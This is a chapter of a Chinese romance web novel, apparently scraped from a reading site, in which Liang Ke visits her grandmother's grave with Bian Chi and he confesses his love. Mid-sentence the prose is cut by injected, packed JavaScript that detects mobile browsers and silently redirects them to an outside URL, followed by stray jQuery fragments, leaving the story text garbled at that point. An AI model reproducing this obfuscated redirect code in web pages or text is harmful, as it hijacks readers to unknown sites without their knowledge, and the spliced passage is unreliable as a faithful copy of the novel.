22. 第 22 章

作品:《是白月光他先勾我的!

    说是“回家”,梁可却并没有回到曾经的“家”里。


    那里如今不是只剩一个空壳子,就是早被人鸠占鹊巢了。


    有关奶奶的东西,她都带走了,从六年前大闹一场之后,那里更没什么可留恋的,她也没了再回去看看的心思。


    下车之后,她先去酒店落脚,然后才买了东西,打车去了老家山下。


    当初奶奶过世,是行的土葬,就埋在后山上。


    这几年,梁可只有清明、祭日以及过年前后会专门回来,给奶奶扫墓。


    今年她也没打算多留,不过因为跟着边池,如果他有意,她也可以陪他在这边多留两天逛逛,或者去以前学校看看。


    上山的路上,她还在问他,“都回来了,你真的不回家看看吗?”


    “你想去看看吗?”


    “我就不好打扰了吧?”


    “那就算了,我也不想打扰他们。”


    梁可没忍住看了他一眼,见他还是一脸淡然的样子,她也就没多说什么了。


    许久没回来,坟头周围长了不少杂草。


    梁可将香烛纸花放下,先将周围杂草清理了一下,才找了几根细木棍,将纸花挂上,又去点香烛,烧纸钱。


    边池也沉默着帮忙撕纸钱。


    等纸钱烧得差不多了,她才在坟前磕了三个头,就准备起身离开了。


    边池问她:“不说点什么吗?”


    梁可想了想,摇了摇头。


    边池也不多话,顺势在梁可旁边跪下,双手合十道:“求奶奶保佑梁可平安顺遂。不过奶奶放心,以后我也会一直陪着梁可,跟您一起保护她的。”


    然后也利索的磕了三下。


    梁可瞪着他,“你乱说什么?”


    “乱说什么了?”边池一边拉着她起身,一边无辜问她。


    梁可“哼”了一声,没说话,径直往山下走。


    “慢点儿。”边池顺势拉住她的手,“小心摔倒。”


    梁可轻轻抽了抽手,没抽出来,也没坚持,只是吐槽道,“这样才更容易摔倒吧。”


    边池捏着她的手指晃了晃,“不会的,我保证。”


    山路狭小,时陡时缓,因为拉着手,两人走得更慢了。好在坟墓位置不高,没一会儿,他们也走下来了。


    就是刚下来,就迎面遇上到了人。


    梁可下意识用了点力,把手抽了出来。


    身后的边池盯着她头顶看了一眼,抿了抿嘴,有点儿失落,不过很快又恢复了。


    “梁可?你回来了?”来人惊讶的打了声招呼,又往她身后看了看,目光在两人之间打转,显然没有忽略刚才那一幕。


    不过即便忽略了,这个时间看她带着个男生回来扫墓,也是会八卦的。


    梁可“嗯”了一声,又叫人道:“赵叔。”


    赵叔只是她家附近的一个邻居叔叔,梁可不算很熟。


    而且她跟老家的人都基本没什么联系了,这会儿碰见,也没有深聊的意思,准备打过招呼就走的。


    但边池见梁可没有介绍的意思,反而自觉的跟着打了声招呼道,“赵叔好。”


    “欸。”赵叔客气的应了一声,又了然的梁可,“这是你男朋友吧?长的真帅,带他来看看奶奶?”


    “没有,就是朋友,过来玩一玩。”梁可下意识解释道,然后感觉后背被戳了一下。


    “哦哦,朋友啊。”赵叔应道,又上下打量了下边池,脸上表情却有些揶揄,打趣道,“多交点朋友好啊,多了解了解,小伙子要加油啊。”


    “嗯嗯。”边池乖巧的应道。


    梁可尴尬,也不好追着解释。之后又硬着头皮又寒暄了一阵,才互相分开。


    一走到没人的地方,梁可才又瞪了他一眼,“你又乱应什么?”


    “那不是礼貌吗?”边池一本正经道。


    梁可白他一眼,不跟他扯皮了。


    边池反而追上来,好像好奇道:“你说,我这是不是也算见家长了?”


    梁可不说话,他又追着问:“梁可同学,始乱终弃可不是什么良好品德,你是不是应该考虑,给我一个名分了?”


    梁可惊得顿住脚步,回头问:“我什么时候始乱终弃了?!”


    “你说没有就没有吧。”边池又轻轻揭过,噎了梁可一下后,又凑近问:“那,名分呢?”


    梁可脸色升温,撇开头装糊涂,“什么名分,我听不懂。”


    说完就要离开,又被边池扯住,往后直接拉进他怀里抱住。


    他弓着身子,把头搁在她头顶,摩挲两下,才问,“那这样呢?懂了吗?”


    梁可感觉他胸口的温度快要将自己烧穿了,她简直要脑充血了,耳边的声音也变得模糊,更别说答话了。


    她看不到的地方,边池的耳尖也不遑多让。


    梁可没有说话,一时也没有挣扎,他便也没有急着追问,只是默默的、久违的拥抱着。


    许久,直到梁可脑袋的温度被周围冷空气降下来了一点儿,才后知后觉的从他怀里出来。


    只是耳尖、脸颊仍有余温未退。


    她不是很敢抬头,猝不及防的兴奋过后,又是难言的忐忑袭来。


    她预感,如果自己这个时候说话,只怕又要将事情搞砸了。可她内心你深处,又有些迫不及待地想宣泄些什么。


    最后,她也只能咬了咬唇,有些不知所措的沉默着。


    不过对边池来说,沉默已经很好了,尤其看着她同样泛红的脸,心底也略松了口气。


    有过上次的教训,他这次是万分不敢耽搁的。


    于是他也顾不得什么仪式感了,趁着气氛正好,赶紧表白。


    “梁可。”他抓着她的肩膀,弯下腰来,对上她的眼睛,认真道,“我喜欢你。”


    梁可睁大眼睛看着他,耳边却好像在放烟花。


    她知道,重逢以来边池就表现得很在意她,她当然也猜过他“喜欢”自己,可是再如何“有理有据”的揣测分析,都抵不过他一句简单明了的亲口肯定。


    梁可鼻尖不可控制的发酸,她感觉自己快要落下泪来,又觉得很丢脸,于是下意识把头垂下去。


    水滴不断的砸在泥地上。


    边池立刻慌了手脚,一边忙乱的要给她擦拭眼泪,一边紧张的问,“梁可,你怎么了?”


    梁可却躲开了她的手,背过身去,自己用手抹了下脸,可是却怎么也擦不干。


    更丢脸了,她悲哀的想。


    死眼!你究竟在掉哪门子眼泪啊!


    梁可感觉快被羞耻感淹没了,脑子里第一反应就是赶快逃,逃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694613|156457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出这尴尬的处境。


    她也这么做了。


    只是才刚抬脚,就又被边池拉回来。


    见梁可并不真的挣扎排斥他,他才略松一口气,试探着,再次将人揽进怀里,低声道:“跑什么?”


    梁可没说话,埋在清新温暖的胸膛里,沉默许久,才说,“太丢脸了。”


    边池没忍住,无声笑了一下。


    梁可感受到胸膛震动,想也知道他在笑话自己,愤恨的拿拳头往他背上锤了一下。


    边池被锤得将手臂收得更紧了点。


    不知道默默拥抱了多久,安静的空气中远远传来一阵脚步声。


    有人来了。


    梁可还没来得及从边池怀里挣出来,就听他轻声问,“回去?”


    梁可连忙点点头,还没从他怀里出来,身形一晃,便就着拥抱的姿势,直接回到了酒店房间。


    梁可红着脸推了他一下,边池这才依依不舍的松开她。


    去开了灯和空调,边池才转回来,倒了杯水,拿了纸巾,拉着梁可坐下,问:“饿了吗?”


    梁可接过纸巾擦了下脸,心不在焉的摇摇头。


    这话题跳得有点快了。


    其实现在她才有点回味过来,被边池表白的爽感了。虚荣心让她想听他再展开说说,羞耻心又让她难以启齿。


    她好像变成了自己最讨厌的矫情样子,扭扭捏捏的,可是又没法控制。


    边池蹲在梁可身前,手臂搭在椅边上,极其自然的将梁可整个圈在自己和椅子之间,从下自上仰视着她,这样不至于因为她低垂着头,而错过观察她的表情。


    心有灵犀一般,边池重新捡起话题,“梁可,你还没有回答我呢。”


    梁可强压着嘴角,装傻道,“回答什么?”


    边池抽出一只手,顺着她的手臂,抬起她半个手掌,送到嘴边,盯着她的眼睛,轻吻了下她的手背,才缓声道:“愿不愿意,做我的妻子。”


    梁可一下瞪大了眼睛,没忍住抽出手,愤愤往他肩膀锤了一下,“哪有你这样的!”


    边池这才没忍住笑了出来,惹得梁可又锤了他两拳。


    “好痛。”边池故作委屈道。


    梁可撇嘴,她刚才根本没用力,于是又给他来了一记,将他肩膀垂歪了一下。


    边池这次真的委屈了,但很快又忍不住笑了起来,揉了下肩膀,顺势将她的手也抓在手心里,像是发现了什么好玩的玩具一样,手指交缠把玩着。


    梁可要抽开手,他就又顺势趴在她的膝盖上,两手交叠,把下巴搁在手臂上,歪头着笑问,“那梁可同学同意吗?”


    “当然不同意!”梁可哼了一声,撇过头,斩钉截铁。


    “好吧。”边池妥协道,又问,“那女朋友呢?”


    这次,梁可就只哼哼了两声了。


    “嗯?”边池便拿压着她膝盖的手臂晃了晃,撒娇追问,要她一个明确回答。


    梁可实在受不了他用这张脸撒娇,难道她真的只是个浅薄的颜控?


    最后受不住,她只能含糊的答应,又忍不住委屈抱怨,“一点仪式感都没有。”


    无师自通的学会了矫情和作。


    边池却反过来哼了她一声,直起身体,“你想要,随时都可以有,只要你别再失约就行。”